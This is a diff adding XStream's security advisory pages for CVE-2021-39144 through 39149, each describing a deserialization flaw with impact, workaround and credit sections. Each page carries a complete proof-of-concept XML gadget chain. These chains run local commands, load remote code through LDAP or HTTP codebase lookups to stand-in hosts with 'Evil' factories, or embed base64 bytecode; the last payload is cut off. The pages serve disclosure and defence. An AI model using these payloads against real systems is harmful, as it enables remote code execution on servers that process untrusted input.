+                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
+                  <dynamicWrapper>false</dynamicWrapper>
+                </bodyBuilder>
+                <isOneWay>false</isOneWay>
+              </com.sun.xml.internal.ws.client.sei.StubHandler>
+            </entry>
+          </stubHandlers>
+          <clientConfig>false</clientConfig>
+        </databinding>
+        <methodHandlers>
+          <entry>
+            <method reference='../../../databinding/stubHandlers/entry/method'/>
+            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
+              <owner reference='../../../..'/>
+              <method reference='../../../../databinding/stubHandlers/entry/method'/>
+              <isVoid>false</isVoid>
+              <isOneway>false</isOneway>
+            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
+          </entry>
+        </methodHandlers>
+      </handler>
+    </dynamic-proxy>
+    <string>ldap://ip:1389/#evil</string>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the code from the remote server is executed as soon as the XML gets unmarshalled.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

Ceclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39144.html b/xstream-distribution/src/content/CVE-2021-39144.html new file mode 100644 index 000000000..1c7251adf --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39144.html @@ -0,0 +1,98 @@ + + + + CVE-2021-39144 + + + +

Vulnerability

+ +

CVE-2021-39144: XStream is vulnerable to a Remote Command Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of a local command on the server.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+    </default>
+    <int>3</int>
+    <dynamic-proxy>
+      <interface>java.lang.Comparable</interface>
+      <handler class='sun.tracing.NullProvider'>
+        <active>true</active>
+        <providerType>java.lang.Comparable</providerType>
+        <probes>
+          <entry>
+            <method>
+              <class>java.lang.Comparable</class>
+              <name>compareTo</name>
+              <parameter-types>
+                <class>java.lang.Object</class>
+              </parameter-types>
+            </method>
+            <sun.tracing.dtrace.DTraceProbe>
+              <proxy class='java.lang.Runtime'/>
+              <implementing__method>
+                <class>java.lang.Runtime</class>
+                <name>exec</name>
+                <parameter-types>
+                  <class>java.lang.String</class>
+                </parameter-types>
+              </implementing__method>
+            </sun.tracing.dtrace.DTraceProbe>
+          </entry>
+        </probes>
+      </handler>
+    </dynamic-proxy>
+    <string>calc</string>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute commands with the rights of the process owner on the + host only by manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

Ceclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39145.html b/xstream-distribution/src/content/CVE-2021-39145.html new file mode 100644 index 000000000..1ba8e00ce --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39145.html @@ -0,0 +1,160 @@ + + + + CVE-2021-39145 + + + +

Vulnerability

+ +

CVE-2021-39145: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security framework + with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<java.util.PriorityQueue serialization='custom'>
+  <unserializable-parents/>
+  <java.util.PriorityQueue>
+    <default>
+      <size>2</size>
+    </default>
+    <int>3</int>
+    <javax.naming.ldap.Rdn_-RdnEntry>
+      <type>12345</type>
+      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
+        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &#x3C;none&#x3E;</m__obj>
+      </value>
+    </javax.naming.ldap.Rdn_-RdnEntry>
+    <javax.naming.ldap.Rdn_-RdnEntry>
+      <type>12345</type>
+      <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
+        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
+          <parsedMessage>true</parsedMessage>
+          <soapVersion>SOAP_11</soapVersion>
+          <bodyParts/>
+          <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
+            <attachmentsInitialized>false</attachmentsInitialized>
+            <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
+              <soapPart/>
+              <mm>
+                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
+                  <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
+                    <homeCtx>
+                      <hostname>233.233.233.233</hostname>
+                      <port__number>2333</port__number>
+                      <clnt class='com.sun.jndi.ldap.LdapClient'/>
+                    </homeCtx>
+                    <hasMoreCalled>true</hasMoreCalled>
+                    <more>true</more>
+                    <posn>0</posn>
+                    <limit>1</limit>
+                    <entries>
+                      <com.sun.jndi.ldap.LdapEntry>
+                        <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
+                        <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
+                          <javax.naming.directory.BasicAttribute>
+                            <default>
+                              <ignoreCase>false</ignoreCase>
+                            </default>
+                            <int>4</int>
+                            <javax.naming.directory.BasicAttribute serialization='custom'>
+                              <javax.naming.directory.BasicAttribute>
+                                <default>
+                                  <ordered>false</ordered>
+                                  <attrID>objectClass</attrID>
+                                </default>
+                                <int>1</int>
+                                <string>javanamingreference</string>
+                              </javax.naming.directory.BasicAttribute>
+                            </javax.naming.directory.BasicAttribute>
+                            <javax.naming.directory.BasicAttribute serialization='custom'>
+                              <javax.naming.directory.BasicAttribute>
+                                <default>
+                                  <ordered>false</ordered>
+                                  <attrID>javaCodeBase</attrID>
+                                </default>
+                                <int>1</int>
+                                <string>http://127.0.0.1:2333/</string>
+                              </javax.naming.directory.BasicAttribute>
+                            </javax.naming.directory.BasicAttribute>
+                            <javax.naming.directory.BasicAttribute serialization='custom'>
+                              <javax.naming.directory.BasicAttribute>
+                                <default>
+                                  <ordered>false</ordered>
+                                  <attrID>javaClassName</attrID>
+                                </default>
+                                <int>1</int>
+                                <string>refClassName</string>
+                              </javax.naming.directory.BasicAttribute>
+                            </javax.naming.directory.BasicAttribute>
+                            <javax.naming.directory.BasicAttribute serialization='custom'>
+                              <javax.naming.directory.BasicAttribute>
+                                <default>
+                                  <ordered>false</ordered>
+                                  <attrID>javaFactory</attrID>
+                                </default>
+                                <int>1</int>
+                                <string>Evil</string>
+                              </javax.naming.directory.BasicAttribute>
+                            </javax.naming.directory.BasicAttribute>
+                          </javax.naming.directory.BasicAttribute>
+                        </attributes>
+                      </com.sun.jndi.ldap.LdapEntry>
+                    </entries>
+                  </aliases>
+                </it>
+              </mm>
+            </multiPart>
+          </sm>
+        </message>
+      </value>
+    </javax.naming.ldap.Rdn_-RdnEntry>
+  </java.util.PriorityQueue>
+</java.util.PriorityQueue>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

李安诺 (Li4n0) from Alibaba Cloud Security Team and Smi1e of DBAPPSecurity WEBIN Lab found and reported the issue + independently to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39146.html b/xstream-distribution/src/content/CVE-2021-39146.html new file mode 100644 index 000000000..cc5a9712b --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39146.html @@ -0,0 +1,119 @@ + + + + CVE-2021-39146 + + + +

Vulnerability

+ +

CVE-2021-39146: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security framework + with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<sorted-set>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>test</type>
+    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
+      <unserializable-parents/>
+      <hashtable>
+          <default>
+            <loadFactor>0.75</loadFactor>
+            <threshold>525</threshold>
+          </default>
+          <int>700</int>
+          <int>0</int>
+      </hashtable>
+      <javax.swing.UIDefaults>
+          <default>
+            <defaultLocale>zh_CN</defaultLocale>
+            <resourceCache/>
+          </default>
+      </javax.swing.UIDefaults>
+      <javax.swing.MultiUIDefaults>
+          <default>
+            <tables>
+            <javax.swing.UIDefaults serialization='custom'>
+              <unserializable-parents/>
+              <hashtable>
+                <default>
+                  <loadFactor>0.75</loadFactor>
+                  <threshold>525</threshold>
+                </default>
+                <int>700</int>
+                <int>1</int>
+                <string>lazyValue</string>
+                <javax.swing.UIDefaults_-ProxyLazyValue>
+                  <className>javax.naming.InitialContext</className>
+                  <methodName>doLookup</methodName>
+                  <args>
+                    <string>ldap://127.0.0.1:1389/#evil</string>
+                  </args>
+                </javax.swing.UIDefaults_-ProxyLazyValue>
+              </hashtable>
+              <javax.swing.UIDefaults>
+                <default>
+                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
+                  <resourceCache/>
+                </default>
+              </javax.swing.UIDefaults>
+            </javax.swing.UIDefaults>
+            </tables>
+          </default>
+      </javax.swing.MultiUIDefaults>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>test</type>
+    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
+      <m__obj class='string'>test</m__obj>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+</sorted-set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

Ceclin and YXXX, White Hat Hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39147.html b/xstream-distribution/src/content/CVE-2021-39147.html new file mode 100644 index 000000000..f4fdd68c1 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39147.html @@ -0,0 +1,245 @@ + + + + CVE-2021-39147 + + + +

Vulnerability

+ +

CVE-2021-39147: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security framework + with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<sorted-set>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
+      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
+        <parsedMessage>true</parsedMessage>
+        <soapVersion>SOAP_11</soapVersion>
+        <bodyParts/>
+        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
+          <attachmentsInitialized>false</attachmentsInitialized>
+          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
+            <soapPart/>
+            <mm>
+              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
+                <aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>
+                  <listArg class='javax.naming.CompoundName' serialization='custom'>
+                    <javax.naming.CompoundName>
+                      <properties/>
+                      <int>1</int>
+                      <string>ysomap</string>
+                    </javax.naming.CompoundName>
+                  </listArg>
+                  <cleaned>false</cleaned>
+                  <res>
+                    <msgId>0</msgId>
+                    <status>0</status>
+                  </res>
+                  <enumClnt>
+                    <isLdapv3>false</isLdapv3>
+                    <referenceCount>0</referenceCount>
+                    <pooled>false</pooled>
+                    <authenticateCalled>false</authenticateCalled>
+                  </enumClnt>
+                  <limit>1</limit>
+                  <posn>0</posn>
+                  <homeCtx>
+                    <__contextType>0</__contextType>
+                    <port__number>1099</port__number>
+                    <hostname>127.0.0.1</hostname>
+                    <clnt reference='../../enumClnt'/>
+                    <handleReferrals>0</handleReferrals>
+                    <hasLdapsScheme>true</hasLdapsScheme>
+                    <netscapeSchemaBug>false</netscapeSchemaBug>
+                    <referralHopLimit>0</referralHopLimit>
+                    <batchSize>0</batchSize>
+                    <deleteRDN>false</deleteRDN>
+                    <typesOnly>false</typesOnly>
+                    <derefAliases>0</derefAliases>
+                    <addrEncodingSeparator/>
+                    <connectTimeout>0</connectTimeout>
+                    <readTimeout>0</readTimeout>
+                    <waitForReply>false</waitForReply>
+                    <replyQueueSize>0</replyQueueSize>
+                    <useSsl>false</useSsl>
+                    <useDefaultPortNumber>false</useDefaultPortNumber>
+                    <parentIsLdapCtx>false</parentIsLdapCtx>
+                    <hopCount>0</hopCount>
+                    <unsolicited>false</unsolicited>
+                    <sharable>false</sharable>
+                    <enumCount>1</enumCount>
+                    <closeRequested>false</closeRequested>
+                  </homeCtx>
+                  <more>true</more>
+                  <hasMoreCalled>true</hasMoreCalled>
+                  <startName class='javax.naming.ldap.LdapName' serialization='custom'>
+                    <javax.naming.ldap.LdapName>
+                      <default/>
+                      <string>uid=ysomap,ou=oa,dc=example,dc=com</string>
+                    </javax.naming.ldap.LdapName>
+                  </startName>
+                  <searchArgs>
+                    <name class='javax.naming.CompoundName' reference='../../listArg'/>
+                    <filter>ysomap</filter>
+                    <cons>
+                      <searchScope>1</searchScope>
+                      <timeLimit>0</timeLimit>
+                      <derefLink>false</derefLink>
+                      <returnObj>true</returnObj>
+                      <countLimit>0</countLimit>
+                    </cons>
+                    <reqAttrs/>
+                  </searchArgs>
+                  <entries>
+                    <com.sun.jndi.ldap.LdapEntry>
+                      <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
+                      <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
+                        <default>
+                          <ignoreCase>false</ignoreCase>
+                        </default>
+                        <int>4</int>
+                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
+                          <javax.naming.directory.BasicAttribute>
+                            <default>
+                              <ordered>false</ordered>
+                              <attrID>objectClass</attrID>
+                            </default>
+                            <int>1</int>
+                            <string>javaNamingReference</string>
+                          </javax.naming.directory.BasicAttribute>
+                          <com.sun.jndi.ldap.LdapAttribute>
+                            <default>
+                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
+                                <javax.naming.CompositeName>
+                                  <int>0</int>
+                                </javax.naming.CompositeName>
+                              </rdn>
+                            </default>
+                          </com.sun.jndi.ldap.LdapAttribute>
+                        </com.sun.jndi.ldap.LdapAttribute>
+                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
+                          <javax.naming.directory.BasicAttribute>
+                            <default>
+                              <ordered>false</ordered>
+                              <attrID>javaCodeBase</attrID>
+                            </default>
+                            <int>1</int>
+                            <string>http://127.0.0.1/</string>
+                          </javax.naming.directory.BasicAttribute>
+                          <com.sun.jndi.ldap.LdapAttribute>
+                            <default>
+                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
+                                <javax.naming.CompositeName>
+                                  <int>0</int>
+                                </javax.naming.CompositeName>
+                              </rdn>
+                            </default>
+                          </com.sun.jndi.ldap.LdapAttribute>
+                        </com.sun.jndi.ldap.LdapAttribute>
+                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
+                          <javax.naming.directory.BasicAttribute>
+                            <default>
+                              <ordered>false</ordered>
+                              <attrID>javaClassName</attrID>
+                            </default>
+                            <int>1</int>
+                            <string>foo</string>
+                          </javax.naming.directory.BasicAttribute>
+                          <com.sun.jndi.ldap.LdapAttribute>
+                            <default>
+                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
+                                <javax.naming.CompositeName>
+                                  <int>0</int>
+                                </javax.naming.CompositeName>
+                              </rdn>
+                            </default>
+                          </com.sun.jndi.ldap.LdapAttribute>
+                        </com.sun.jndi.ldap.LdapAttribute>
+                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
+                          <javax.naming.directory.BasicAttribute>
+                            <default>
+                              <ordered>false</ordered>
+                              <attrID>javaFactory</attrID>
+                            </default>
+                            <int>1</int>
+                            <string>EvilObj</string>
+                          </javax.naming.directory.BasicAttribute>
+                          <com.sun.jndi.ldap.LdapAttribute>
+                            <default>
+                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
+                                <javax.naming.CompositeName>
+                                  <int>0</int>
+                                </javax.naming.CompositeName>
+                              </rdn>
+                            </default>
+                          </com.sun.jndi.ldap.LdapAttribute>
+                        </com.sun.jndi.ldap.LdapAttribute>
+                      </attributes>
+                    </com.sun.jndi.ldap.LdapEntry>
+                  </entries>
+                </aliases>
+              </it>
+            </mm>
+          </multiPart>
+        </sm>
+      </message>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
+      <m__obj class='string'>test</m__obj>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+</sorted-set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

wh1t3p1g from TSRC (Tencent Security Response Center) found and reported the issue to XStream and provided the + required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39148.html b/xstream-distribution/src/content/CVE-2021-39148.html new file mode 100644 index 000000000..fd5462d43 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39148.html @@ -0,0 +1,135 @@ + + + + CVE-2021-39148 + + + +

Vulnerability

+ +

CVE-2021-39148: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security framework + with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<sorted-set>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
+      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
+        <parsedMessage>true</parsedMessage>
+        <soapVersion>SOAP_11</soapVersion>
+        <bodyParts/>
+        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
+          <attachmentsInitialized>false</attachmentsInitialized>
+          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
+            <soapPart/>
+            <mm>
+              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
+                <aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'>
+                  <children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'>
+                    <list class='com.sun.xml.internal.dtdparser.SimpleHashtable'>
+                      <current>
+                        <hash>1</hash>
+                        <key class='javax.naming.Binding'>
+                          <name>ysomap</name>
+                          <isRel>false</isRel>
+                            <boundObj class='com.sun.jndi.ldap.LdapReferralContext'>
+                              <refCtx class='javax.naming.spi.ContinuationDirContext'>
+                                <cpe>
+                                  <stackTrace/>
+                                  <suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'>
+                                    <c class='list'/>
+                                    <list reference='../c'/>
+                                  </suppressedExceptions>
+                                  <resolvedObj class='javax.naming.Reference'>
+                                    <className>EvilObj</className>
+                                    <addrs/>
+                                    <classFactory>EvilObj</classFactory>
+                                    <classFactoryLocation>http://127.0.0.1:1099/</classFactoryLocation>
+                                  </resolvedObj>
+                                  <altName class='javax.naming.CompoundName' serialization='custom'>
+                                    <javax.naming.CompoundName>
+                                      <properties/>
+                                      <int>1</int>
+                                      <string>ysomap</string>
+                                    </javax.naming.CompoundName>
+                                  </altName>
+                                </cpe>
+                              </refCtx>
+                              <skipThisReferral>false</skipThisReferral>
+                              <hopCount>0</hopCount>
+                            </boundObj>
+                        </key>
+                      </current>
+                      <currentBucket>0</currentBucket>
+                      <count>0</count>
+                      <threshold>0</threshold>
+                    </list>
+                  </children>
+                  <currentReturned>true</currentReturned>
+                  <currentChildExpanded>false</currentChildExpanded>
+                  <rootProcessed>true</rootProcessed>
+                  <scope>2</scope>
+                </aliases>
+              </it>
+            </mm>
+          </multiPart>
+        </sm>
+      </message>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
+      <m__obj class='string'>test</m__obj>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+</sorted-set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed + input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

wh1t3p1g from TSRC (Tencent Security Response Center) found and reported the issue to XStream and provided the + required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-39149.html b/xstream-distribution/src/content/CVE-2021-39149.html new file mode 100644 index 000000000..31a7b2b75 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-39149.html @@ -0,0 +1,102 @@ + + + + CVE-2021-39149 + + + +

Vulnerability

+ +

CVE-2021-39149: XStream is vulnerable to an Arbitrary Code Execution attack.

+ +

Affected Versions

+ +

All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is + affected, who followed the recommendation to setup XStream's security + framework with a whitelist limited to the minimal required types.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

+ +

Steps to Reproduce

+ +

Create a simple LinkedHashSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<linked-hash-set>
+  <dynamic-proxy>
+    <interface>map</interface>
+    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
+	  <classToInvocationHandler class='linked-hash-map'/>
+      <defaultHandler class='sun.tracing.NullProvider'>
+        <active>true</active>
+        <providerType>java.lang.Object</providerType>
+        <probes>
+          <entry>
+            <method>
+              <class>java.lang.Object</class>
+              <name>hashCode</name>
+              <parameter-types/>
+            </method>
+            <sun.tracing.dtrace.DTraceProbe>
+              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
+                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
+                  <default>
+                    <__name>Pwnr</__name>
+                    <__bytecodes>
+                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIAD